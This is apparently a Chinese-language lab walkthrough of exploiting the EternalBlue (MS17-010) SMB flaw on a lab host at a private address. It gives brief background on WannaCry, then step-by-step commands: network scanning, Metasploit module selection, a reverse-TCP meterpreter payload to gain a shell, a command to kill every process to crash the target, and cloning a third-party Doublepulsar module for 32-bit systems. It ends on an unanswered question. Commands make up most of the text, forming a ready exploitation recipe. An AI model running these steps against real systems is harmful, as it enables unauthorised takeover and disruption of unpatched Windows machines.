很久之前做过的永恒之蓝漏洞…
永恒之蓝(ms17-010)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,因此该漏洞造成的影响极大。
arp-scan -l
nmap -O -sS -T4 192.168.188.222
msfconsole
# 搜寻模块
search ms17-010
# 使用第三个模块
use 3
# 查看该漏洞模块的具体介绍信息
info
使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。
show options
RHOSTS选项为空,需要填写,RHOSTS代表要攻击的目标。输入r然后按tab键可以自动补全该参数。
set rhosts 192.168.188.222
显示该主机很可能能够会受到永恒之蓝漏洞的攻击。
run
search 17-010
设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell。
set payload windows/x64/meterpreter/reverse_tcp
设置攻击目标
set rhosts 192.168.188.222
run
拿下该主机的shell,执行cmd命令。
getuid
ipconfig
蓝屏攻击
taskkill /f /fi "pid ne 1"
命令解析:
用于在 Windows 操作系统中终止进程的命令。它的作用是强制结束所有除了系统进程(PID为1)之外的其他进程。
在 Windows 操作系统中,进程标识符(PID)为 1 的进程通常是系统进程,也称为"System"进程或"System Idle Process"进程。这个进程是操作系统内核的一部分,负责管理和调度其他进程的运行。
由于不知道目标操作系统是32位还是64位的,我们在使用ms17010攻击模块的时候常规使用64位来进行攻击。
如果在攻击的时候,出现攻击失败等提示信息,那么说明该模块只能攻击64位操作系统,也说明了目标靶机是32位的操作系统。
apt-get install wine32
在执行exploit时可能会出现 :
it looks like wine32 is missing, you should install it.
multiarch needs to be enabled first. as root, please
execute "dpkg --add-architecture i386 && apt-get update && apt-get install wine32"
按照上面的方法dpkg --add-architecture i386 && apt-get update && apt-get install wine32即可
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
验证是否安装成功
wine --version
用wine32执行cmd.exe
wine cmd.exe
首先下载利用的脚本:
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
然后将脚本拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb
cd Eternalblue-Doublepulsar-Metasploit/
cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
接下来使用exploit模块(步骤同上,原理同上)
msfconsole
search eternalblue #或者search ms17-010
如果在成功打过去了,但是一直频繁的刷shell的信息,就是回弹不出shell的终端,这个是为什么?